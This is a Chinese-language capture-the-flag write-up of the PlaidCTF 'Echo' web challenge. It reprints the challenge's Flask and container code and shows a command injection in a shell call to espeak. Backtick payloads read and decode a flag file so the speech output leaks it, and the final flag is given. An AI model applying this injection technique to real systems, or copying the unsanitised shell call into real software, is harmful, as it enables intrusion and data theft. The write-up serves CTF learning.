Challenge ECHO
Web (200 pts)
If you hear enough, you may hear the whispers of a key…
If you see app.py well enough, you will notice the UI sucks…
http://echo.chal.pwning.xxx:9977/
http://echo2.chal.pwning.xxx:9977/
Fuck it
app.py
from flask import render_template, flash, redirect, request, send_from_directory, url_for
import uuid
import os
import subprocess
import random
cwd = os.getcwd()
tmp_path = "/tmp/echo/"
serve_dir = "audio/"
docker_cmd = "docker run -m=100M --cpu-period=100000 --cpu-quota=40000 --network=none -v {path}:/share lumjjb/echo_container:latest python run.py"
convert_cmd = "ffmpeg -i {in_path} -codec:a libmp3lame -qscale:a 2 {out_path}"
MAX_TWEETS = 4
MAX_TWEET_LEN = 140
from flask import Flask
app = Flask(__name__)
flag = "PCTF{XXXXXXX...XXXXXXXX}"
if not os.path.exists(tmp_path):
os.makedirs(tmp_path)
def process_flag (outfile):
with open(outfile,'w') as f:
for x in flag:
c = 0
towrite = ''
for i in range(65000 - 1):
k = random.randint(0,127)
c = c ^ k
towrite += chr(k)
f.write(towrite + chr(c ^ ord(x)))
return
def process_audio (path, prefix, n):
target_path = serve_dir + prefix
if not os.path.exists(target_path):
os.makedirs(target_path)
for i in range(n):
st = os.stat(path + str(i+1) + ".wav")
if st.st_size < 5242880:
subprocess.call (convert_cmd.format(in_path=path + str(i+1) + ".wav",out_path=target_path + str(i+1) + ".wav").split())
@app.route('/audio/<path:path>')
def static_file(path):
return send_from_directory('audio', path)
@app.route("/listen",methods=['GET', 'POST'])
def listen_tweets():
n = int(request.args['n'])
my_uuid = request.args['my_uuid']
if n > MAX_TWEETS:
return "ERR: More than MAX_TWEETS"
afiles = [my_uuid + "/" + str(i+1) + ".wav" for i in range(n)]
return render_template('listen.html', afiles = afiles)
@app.route("/",methods=['GET', 'POST'])
def read_tweets():
t1 = request.args.get('tweet_1')
if t1:
tweets = []
for i in range(MAX_TWEETS):
t = request.args.get('tweet_' + str(i+1))
if len(t) > MAX_TWEET_LEN:
return "ERR: Violation of max tween length"
if not t:
break
tweets.append(t)
my_uuid = uuid.uuid4().hex
my_path = tmp_path + my_uuid + "/"
if not os.path.exists(my_path):
os.makedirs(my_path)
with open(my_path + "input" ,"w") as f:
f.write('\n'.join(tweets))
process_flag(my_path + "flag")
out_path = my_path + "out/"
if not os.path.exists(out_path):
os.makedirs(out_path)
subprocess.call(docker_cmd.format(path=my_path).split())
process_audio(out_path, my_uuid + '/', len(tweets))
return redirect(url_for('.listen_tweets', my_uuid=my_uuid, n=len(tweets)))
else:
return render_template('form.html')
if __name__ == "__main__":
app.run(threaded=True)
form.html
<h2>Tweets are 140 characters only! </h2> <br><br>
<form name="read_tweets" method="get">
Tweet 1: <input type="text" name="tweet_1" size="140" \> <BR> <BR>
Tweet 2: <input type="text" name="tweet_2" size="140" \> <BR> <BR>
Tweet 3: <input type="text" name="tweet_3" size="140" \> <BR> <BR>
Tweet 4: <input type="text" name="tweet_4" size="140" \> <BR> <BR>
<input type="submit" value="Submit">
</form>
listen.html
<!DOCTYPE html>
<html>
<body>
<h2>Tweet 1</h2>
{% for i in afiles %}
<audio controls>
<source src="/audio/{{ i }}" type="audio/wav">
Your browser does not support the audio element.
</audio>
<br><br>
{% endfor %}
</body>
</html>
看起來啥問題都沒有,然而有一隻外來的容器
docker pulll lumjjb/echo_container:latest
下載下來,擼出裡面的run.py
run.py
import sys
from subprocess import call
import signal
import os
def handler(signum, frame):
os._exit(-1)
signal.signal(signal.SIGALRM, handler)
signal.alarm(30)
INPUT_FILE="/share/input"
OUTPUT_PATH="/share/out/"
def just_saying (fname):
with open(fname) as f:
lines = f.readlines()
i=0
for l in lines:
i += 1
if i == 5:
break
l = l.strip()
# Do TTS into mp3 file into output path
call(["sh","-c","espeak " + " -w " + OUTPUT_PATH + str(i) + ".wav \"" + l + "\""])
def main():
just_saying(INPUT_FILE)
if __name__ == "__main__":
main()
然後,我瞅見漏洞了你瞅見沒?
妥妥的命令注入
call(["sh","-c","espeak " + " -w " + OUTPUT_PATH + str(i) + ".wav \"" + l + "\""])
可控點就是l
也就是我們提交的Tweet
當然沒那麼簡單就讓你拿到flag文件,這玩意兒就是一個TTS,語音文件還得經過ffmpeg轉碼。
同時,docker容器還不聯網,各種測試后發現只能把flag字符串轉語音才能傳出來。
Tweet有長度限制,140位,一次最多還只能提交4個。因為加密后的flag文件略大(2m),需要遠程解密然後再傳送回來。
Payload
讀取flag字符串第N位
`python -c "print [i+' ' for i in str(reduce(lambda x, y: x ^ y,[ord(j) for j in open('/share/flag').read()[65000*(n):(n+1)*65000]]))]"`
讀取flag字符串長度
`python - c "print [i+' ' for i in str(len(open('/share/flag').read()))]"`
因為flag格式為PCTF{xxxxx},所以我們需要讀取5﹣36位的flag
x = [80, 67, 84, 70, 123, 76, 49, 53, 115, 116, 51, 110, 95, 84, 48, 95, 95, 114, 101, 101,
101, 95, 114, 101, 101, 101, 101, 101, 101, 95, 114, 101, 101, 101, 95, 108, 97, 125]
print ''.join(chr(i) for i in x)
MDZZ
我一定是玩了假的CTF,感覺像是考英語聽力。。。
Flag
PCTF{L15st3n_T0__reee_reeeeee_reee_la}
FROM : virzz.com | Author:Virink
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论